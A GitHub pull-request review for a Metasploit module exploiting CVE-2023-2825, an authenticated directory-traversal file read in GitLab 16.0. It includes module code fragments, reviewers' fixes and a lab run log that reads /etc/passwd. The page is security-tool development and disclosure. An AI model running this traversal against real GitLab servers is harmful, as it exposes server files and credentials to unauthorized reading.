gitlab file read CVE-2023-2825 #18039

h00die · 2023-05-29T04:55:48Z

This PR adds an exploit for an authenticated arbitrary file read on Github 16.0 (exclusively). This is a 6-day exploit.

Verification

gwillcox-r7 · 2023-05-30T20:30:11Z

documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md

+When exploiting this vulnerability, a group (or subgroup under the group) must be created
+for each level of the traversal. If the depth is 11 for the dir traversal, then a group
+and 10 sub-groups will be created. Lastly a project is created for that subgroup.


This doesn't explain the depth level needed and last I checked there was some minimum required. Can you elaborate on this more here in your explanation? The required level is a bit vague from what you have described here.

gwillcox-r7 · 2023-05-30T20:52:09Z

modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb

+          'Vitellozzo', # PoC on github
+        ],
+        'References' => [
+          ['URL', 'https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/'],


According to this, the bug is unauthenticated and allows one to read arbitrary files on the server when an attachment exists in a public project nested within at least five groups. This seems like two problems here:

We shouldn't need authentication to exploit this, yet it seems like we are authenticating to exploit this vulnerability.

We fail to explain this 5 level nesting requirement.

According to the PoC:

Unauthenticated users can only exploit this vulnerability on public repositories matching the nested group requirements. Authentication is required to access the repository itself.

While this is true, I've never seen a gitlab which didn't require authentication during my pentests, let alone one with a minimum of 5 nested groups. I figured that was such a far shot, it wasn't worth coding in.

I think it may be better to have 2 exploits, an unauth and an auth one for this. Trying to loop through every project, check the groups depth, check if you can upload a file seems like a lot of code and looping that would significantly clutter this module.

Sounds good to me just thought I'd call it out. I think we can skip the authentication point then but I would still like to see an explanation of the 5 level nesting requirement somewhere in the module to give people some more context to this bug.

I'll do a git mv and rename these to gitlab_authenticated_subgroups_file_read to be more clear about the requirement as well

gwillcox-r7 · 2023-05-30T21:10:28Z

modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb

+    body =~ /"csrf-token" content="([^"]+)"/
+    ::Regexp.last_match(1)


There is no guarentee here that the body contains this content yet you assume it does and then go on to trying to grab the last match assuming that it isn't nil. Whilst thankfully this doesn't cause things to crash, its bad practice to not throw an error here if the regex doesn't match what you expect it to match.

This is further seen when you go and look at where get_csrf is used, as all of its callers assume that it can never return an error. You might be able to fix by changing this to a body.match(/*REGEX*/) call and then checking the result isn't nil before accessing the group specific results.

modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb

gwillcox-r7 · 2023-05-30T21:21:39Z

modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb

+      info: [version]
+    )
+    return Exploit::CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")
+  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError


What about Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError or Msf::Exploit::Remote::HTTP::Gitlab::Error::VersionError from https://sourcegraph.com/github.com/rapid7/metasploit-framework/-/blob/lib/msf/core/exploit/remote/http/gitlab/rest/v4/version.rb?L13-14

should both be caught by the next rescue for Msf::Exploit::Remote::HTTP::Gitlab::Error?

modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb

gwillcox-r7 · 2023-05-30T21:59:02Z

modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb

+    })
+    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
+    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 302
+    csrf_token = get_csrf(res.body)


Should be checking that res.body isn't empty.

gwillcox-r7 · 2023-05-30T22:19:04Z

modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb

+    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 302
+    csrf_token = get_csrf(res.body)
+
+    project_id = res.headers['Location'].to_s.split('/')[3..].join('/') # strip off http[s]://ip/, seems like there should be a better way to do this though


This assumes that the Location header will contain at least 3 /'s which may not be the case if its something like https://www.google.com

gwillcox-r7 · 2023-05-30T22:21:19Z

modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb

+    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
+    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Respones Code (response code: #{res.code})") unless res.code == 200
+    res = res.get_json_document
+    file_url = res['link']['url']


You should really be using res.dig('link', 'url') or similar here in case these entities don't exist in the response and then checking file_url to make sure its not nil afterwards.

didn't know about dig, nice!

gwillcox-r7 · 2023-05-30T22:26:16Z

modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb

+    if !res.body.empty? && res.code == 200
+      print_good(res.body)
+      loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE'])
+      print_good("#{datastore['FILE']} saved to #{loot_path}")
+    elsif res.body.empty?
+      print_error('Response has 0 size.')
+    else
+      print_error('Bad response, initiating cleanup')
+    end


Suggested change

if !res.body.empty? && res.code == 200

print_good(res.body)

loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE'])

print_good("#{datastore['FILE']} saved to #{loot_path}")

elsif res.body.empty?

print_error('Response has 0 size.')

else

print_error('Bad response, initiating cleanup')

end

if res.body.empty?

print_error('Response has 0 size.')

elsif res.code == 200

print_good(res.body)

loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE'])

print_good("#{datastore['FILE']} saved to #{loot_path}")

else

print_error('Bad response, initiating cleanup')

end

Suggested simplification of logic here.

sempervictus · 2023-05-31T21:05:14Z

6-day on something used by a group of people who would argue about how to patch their leaky life raft is pretty brave 😉 - thanks for getting this published, really helps when having conversations w/ members of the aforementioned group.

smcintyre-r7 · 2023-06-01T14:05:08Z

modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb

+        info,
+        'Name' => 'GitLab Authenticated File Read',
+        'Description' => %q{
+          Gitlab version 16.0 contains an authenticated directory traversal for arbitrary file read as the gitlab user.


Suggested change

Gitlab version 16.0 contains an authenticated directory traversal for arbitrary file read as the gitlab user.

GitLab version 16.0 contains an authenticated directory traversal for arbitrary file read as the 'gitlab' user.

smcintyre-r7 · 2023-06-01T14:07:37Z

modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb

+        OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
+        OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
+        OptInt.new('DEPTH', [ true, 'Depth for Path Traversal (also groups creation)', 11]),
+        OptString.new('File', [true, 'File to read', '/etc/passwd'])


Suggested change

OptString.new('File', [true, 'File to read', '/etc/passwd'])

OptString.new('FILE', [true, 'File to read', '/etc/passwd'])

References to this datastore option will also need to be updated. Non-advanced options should be SCREAMING_SNAKE_CASE.

smcintyre-r7 · 2023-06-01T14:12:24Z

modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb

+
+    if !res.body.empty? && res.code == 200
+      print_good(res.body)
+      loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE'])


Suggested change

loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE'])

loot_path = store_loot('GitLab file', 'text/plain', ip, res.body, datastore['FILE'])

jmartin-tech · 2023-06-01T14:32:09Z

modules/auxiliary/scanner/http/gitlab_subgroups_file_read.rb

Please refactor this as a gather module. We are working on expanding docs to be clear on this, with support for RHOSTS we would like to push scanners to be a in two categories fingerprinting/check or login_scanner.

Refactor will enabled support for a check method that can be used in combination with RHOSTS to also have this act as a true scanner for the issue without actually exercising it.

#18003 (comment)

h00die · 2023-06-01T20:43:56Z

I'm going to go ahead and move this back to a draft since the changes are substantial

h00die · 2023-06-02T22:08:15Z

I believe I've hit all the required changes, but i'm sure I missed something or introduced a new problem

cdelafuente-r7

Thanks @h00die! I just left a few comments and suggestions for you to review when you get a chance. Otherwise, it looks good and it works great! Thank you for refactoring it into a gather module.

cdelafuente-r7 · 2023-06-05T14:18:04Z

modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb

+    return Exploit::CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")
+  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError
+    return Exploit::CheckCode::Detected('Could not detect the version because authentication failed.')
+  rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e


Msf::Exploit::Remote::HTTP::Gitlab::Error is a module and I don't think this will catch the potential exceptions raised by gitlab_sign_in. According to the GitLab mixin error file, the parent class of all these exceptions is Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.

Suggested change

rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e

rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError => e

cdelafuente-r7 · 2023-06-05T14:30:28Z

modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb

+
+      # grab our parent group ID for nesting
+      res.body =~ /data-clipboard-text="([^"]+)" type="button" title="Copy group ID"/
+      parent_id = ::Regexp.last_match(1)


A good practice here would be to check if parent_id is nil and fail if it is. This might be possible that this module is run against a different version of GitLab with a different HTML response, which would make the regex fail.

Suggested change

parent_id = ::Regexp.last_match(1)

parent_id = ::Regexp.last_match(1)

fail_with(Failure::UnexpectedReply, "#{peer} - Cannot retrieve the parent ID from the HTML response") unless parent_id

cdelafuente-r7 · 2023-06-05T14:32:40Z

modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb

+    })
+    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
+    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 302
+    # csrf_token = get_csrf(res.body)


If this commented statement is not required, it should be removed.

Suggested change

# csrf_token = get_csrf(res.body)

cdelafuente-r7 · 2023-06-05T14:40:12Z

modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb

+    })
+    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
+    if res.code == 500
+      print_error("Unable to read file (permissions, or file doens't exist)")


Suggested change

print_error("Unable to read file (permissions, or file doens't exist)")

print_error("Unable to read file (permissions, or file doesn't exist)")

cdelafuente-r7 · 2023-06-06T13:20:03Z

documentation/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.md

+To retrieve the default password:
+
+```
+sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password[*] Processing gitlab.rb for ERB directives.


I think it is a typo:

Suggested change

sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password[*] Processing gitlab.rb for ERB directives.

sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password

```

Run the module:

```

[*] Processing gitlab.rb for ERB directives.

yea looks like a bad copy pasta when i went to put in a fresh run after all the changes

cdelafuente-r7 · 2023-06-06T13:23:13Z

modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb

+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Remote::HTTP::Gitlab
+  include Msf::Auxiliary::Report


I think this module could benefit of the AutoCheck mixin to have the check method run automatically before the exploit is launched.

Suggested change

include Msf::Auxiliary::Report

include Msf::Auxiliary::Report

prepend Msf::Exploit::Remote::AutoCheck

cdelafuente-r7 · 2023-06-06T13:29:02Z

modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb

+    end
+
+    begin
+      self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie


If you decide to use the AutoCheck mixin, the check method will be executed before run, unless AutoCheck is set to false. Since this method already signs the user in, maybe it would be a good idea to add some logic that avoid signing again here. For example, storing the authentication cookie in an instance variable and checking this variable before calling gitlab_sign_in.

cdelafuente-r7 · 2023-06-07T11:08:59Z

Thanks @h00die for updating this. Everything looks good to me now. I tested against GitLab version 16.0.0 on Ubuntu 20.04.4 and it works great. I'll go ahead and land it.

Example output

msf6 auxiliary(gather/gitlab_authenticated_subgroups_file_read) > run verbose=true rhosts=192.168.100.119 username=root password=1jwnBU+k5MiMfzkUqtMZ7o9NcoD0orN1horHWKhVKGc=
[*] Running module against 192.168.100.119

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Trying to get the GitLab version
[+] The target appears to be vulnerable. Detected GitLab version 16.0.0 which is vulnerable.
[+] CSRF Token: 5bX2uwt3RY6N8Iw4m23N7Aby1YoaLJdt245I7LiEkYmrZcNUqVWoJ5Gnx5I3L3_wKNW_vUSf0rdRcCZVa4NOzA
[*] Creating 11 groups
[*] Creating group: 3JN3bIh7
[+] CSRF Token: v18_0T7dfQgcI80nMGVQVNzP-0rIm5Ul7vnzDWxIfUbxjwo-nP-QoQB0ho2cJ-JI8uiRfZYo0P9kB520v0-iAw
[*] Creating child group: LuL9uawW with parent id: 74
[+] CSRF Token: P4lNhfWcBAq0C3jm6MwlVx0ImcpAeBRgySxstGw6NC1xWXhqV77po6hcM0xEjpdLMy_z_R7LUbpD0gINvz3raA
[*] Creating child group: IELnexek with parent id: 75
[+] CSRF Token: H6thKrkqDaqqvcKxz2ufPO7hghvKnsZEkhoFEmc96pdRe1TFGwjgA7bqiRtjKS0gwMboLJQtg54Y5GurtDo10g
[*] Creating child group: Gxy6XRSN with parent id: 76
[+] CSRF Token: j3eEZyEysdNQlxUziX-udQ-YB128SGMKETLXW_3guFrBp7GIgxBcekzAXpklPRxpIb9tauL7JtCbzLniLudnHw
[*] Creating child group: 7t3GvIyt with parent id: 77
[+] CSRF Token: b-scPM2BGG1CHz76YcoLIIR5-KadUXgj_IhXtL575OAhOynTb6P1xF5IdVDNiLk8ql6SkcPiPfl2djkNbXw7pQ
[*] Creating child group: 4XkYKb4z with parent id: 78
[+] CSRF Token: tnq0oc1RzEoaQ9Ycd2ulM6_jtbWDqeUfJSCP1oXssW34qoFOb3Mh4wYUnbbbKRcvgcTfgt0aoMWv3uFvVutuKA
[*] Creating child group: GtlAA7S6 with parent id: 79
[+] CSRF Token: OixMz4I-f5TlNguBRhiHl_KN2jBpL_EYgbAYJG1Kdax0_HkgIBySPflhQCvqWjWL3KqwBzectMILTnadvk2q6Q
[*] Creating child group: FIgLw6iS with parent id: 80
[+] CSRF Token: z4nGz_ZGMByWMI54gGwy4EDHe6an97H76hZV4A1uJcaBWfMgVGTdtYpnxdIsLoD8buARkflE9CFg6DtZ3mn6gw
[*] Creating child group: g5lTPVrs with parent id: 81
[+] CSRF Token: Gcxi3QhQyFhBA0b3Xs1BhyreiwJXJGIUWbOfIMZVo8VXHFcyqnIl8V1UDV3yj_ObBPnhNQmXJ87TTfGZFVJ8gA
[*] Creating child group: uBo6XLgI with parent id: 82
[+] CSRF Token: W2c0Jx2vTX_Raro1RgkTVHOFqxK9xWLSC7FsXxL8RiYVtwHIv42g1s098Z_qS6FIXaLBJeN2JwiBTwLmwfuZYw
[*] Creating child group: yKqBI7qD with parent id: 83
[+] CSRF Token: MWJXj9RnTXsCf3t2jJCfQJ30Ea7zTt0ZtAz4F-gsQy5_smJgdkWg0h4oMNwg0i1cs9N7ma39mMM-8pauOyucaw
[*] Creating project CNfBbUIe
[*] Creating a dummy file in project
[*] Executing dir traversal
[+] root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
...[redacted]...

[+] /etc/passwd saved to /home/msfuser/.msf4/loot/20230607130228_default_192.168.100.119_GitLabfile_293936.txt
[*] Deleting group 3JN3bIh7
[*] Auxiliary module execution completed
msf6 auxiliary(gather/gitlab_authenticated_subgroups_file_read) > loot

Loot
====

host             service  type         name         content     info  path
----             -------  ----         ----         -------     ----  ----
192.168.100.119           GitLab file  /etc/passwd  text/plain        /home/msfuser/.msf4/loot/20230607130228_default_192.168.100.119_GitLabfile_293936.txt

cdelafuente-r7 · 2023-06-07T11:12:12Z

Release Notes

This adds an exploit leverages an authenticated arbitrary file read on Github 16.0.0. This vulnerability is identified as CVE-2023-2825.

h00die added 3 commits May 29, 2023 00:48

gitlab file read CVE-2023-2825

0ccfa4a

gitlab file read CVE-2023-2825

01359e7

gitlab file read CVE-2023-2825

5f308e0

h00die added module docs labels May 29, 2023

gwillcox-r7 self-assigned this May 30, 2023

Touch up typos in documentation

c0671c3

gwillcox-r7 suggested changes May 30, 2023

View reviewed changes

gwillcox-r7 and others added 2 commits May 30, 2023 17:30

Fix more typos

cf9f990

move gitlab_subgroup to gitlab_authenticated_subgroup

1267d06

smcintyre-r7 reviewed Jun 1, 2023

View reviewed changes

This comment was marked as off-topic.

Sign in to view

jmartin-tech reviewed Jun 1, 2023

View reviewed changes

gwillcox-r7 removed their assignment Jun 1, 2023

h00die marked this pull request as draft June 1, 2023 20:44

h00die added 2 commits June 2, 2023 05:15

review adjustments

da2e339

move gitlab_auth_subgroups to gahter instead of scanner

8f3325b

h00die marked this pull request as ready for review June 2, 2023 22:08

cdelafuente-r7 self-assigned this Jun 5, 2023

cdelafuente-r7 reviewed Jun 6, 2023

View reviewed changes

review adjustments

4950cb3

cdelafuente-r7 added the rn-modules release notes for new or majorly enhanced modules label Jun 7, 2023

cdelafuente-r7 merged commit f88cb3b into rapid7:master Jun 7, 2023
31 checks passed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

gitlab file read CVE-2023-2825 #18039

gitlab file read CVE-2023-2825 #18039

h00die commented May 29, 2023

gwillcox-r7 May 30, 2023

gwillcox-r7 May 30, 2023

gwillcox-r7 May 30, 2023

h00die May 31, 2023 •

edited

gwillcox-r7 May 31, 2023

h00die May 31, 2023

gwillcox-r7 May 30, 2023

gwillcox-r7 May 30, 2023

h00die May 31, 2023

gwillcox-r7 May 30, 2023

gwillcox-r7 May 30, 2023

gwillcox-r7 May 30, 2023

h00die May 31, 2023

gwillcox-r7 May 30, 2023

sempervictus commented May 31, 2023

smcintyre-r7 Jun 1, 2023

smcintyre-r7 Jun 1, 2023

smcintyre-r7 Jun 1, 2023

This comment was marked as off-topic.

jmartin-tech Jun 1, 2023

h00die commented Jun 1, 2023

h00die commented Jun 2, 2023

cdelafuente-r7 left a comment

cdelafuente-r7 Jun 5, 2023

cdelafuente-r7 Jun 5, 2023

cdelafuente-r7 Jun 5, 2023

cdelafuente-r7 Jun 5, 2023

cdelafuente-r7 Jun 6, 2023

h00die Jun 6, 2023

cdelafuente-r7 Jun 6, 2023

cdelafuente-r7 Jun 6, 2023

cdelafuente-r7 commented Jun 7, 2023

cdelafuente-r7 commented Jun 7, 2023

		body =~ /"csrf-token" content="([^"]+)"/
		::Regexp.last_match(1)

	Gitlab version 16.0 contains an authenticated directory traversal for arbitrary file read as the gitlab user.
	GitLab version 16.0 contains an authenticated directory traversal for arbitrary file read as the 'gitlab' user.

	OptString.new('File', [true, 'File to read', '/etc/passwd'])
	OptString.new('FILE', [true, 'File to read', '/etc/passwd'])

	loot_path = store_loot('Gitlab file', 'text/plain', ip, res.body, datastore['FILE'])
	loot_path = store_loot('GitLab file', 'text/plain', ip, res.body, datastore['FILE'])

	rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
	rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError => e

	parent_id = ::Regexp.last_match(1)
	parent_id = ::Regexp.last_match(1)
	fail_with(Failure::UnexpectedReply, "#{peer} - Cannot retrieve the parent ID from the HTML response") unless parent_id

	print_error("Unable to read file (permissions, or file doens't exist)")
	print_error("Unable to read file (permissions, or file doesn't exist)")

	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Report
	prepend Msf::Exploit::Remote::AutoCheck

gitlab file read CVE-2023-2825 #18039

gitlab file read CVE-2023-2825 #18039

Conversation

h00die commented May 29, 2023

Verification

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

h00die May 31, 2023 • edited

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

sempervictus commented May 31, 2023

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

This comment was marked as off-topic.

Choose a reason for hiding this comment

h00die commented Jun 1, 2023

h00die commented Jun 2, 2023

cdelafuente-r7 left a comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

cdelafuente-r7 commented Jun 7, 2023

Example output

cdelafuente-r7 commented Jun 7, 2023

Release Notes

h00die May 31, 2023 •

edited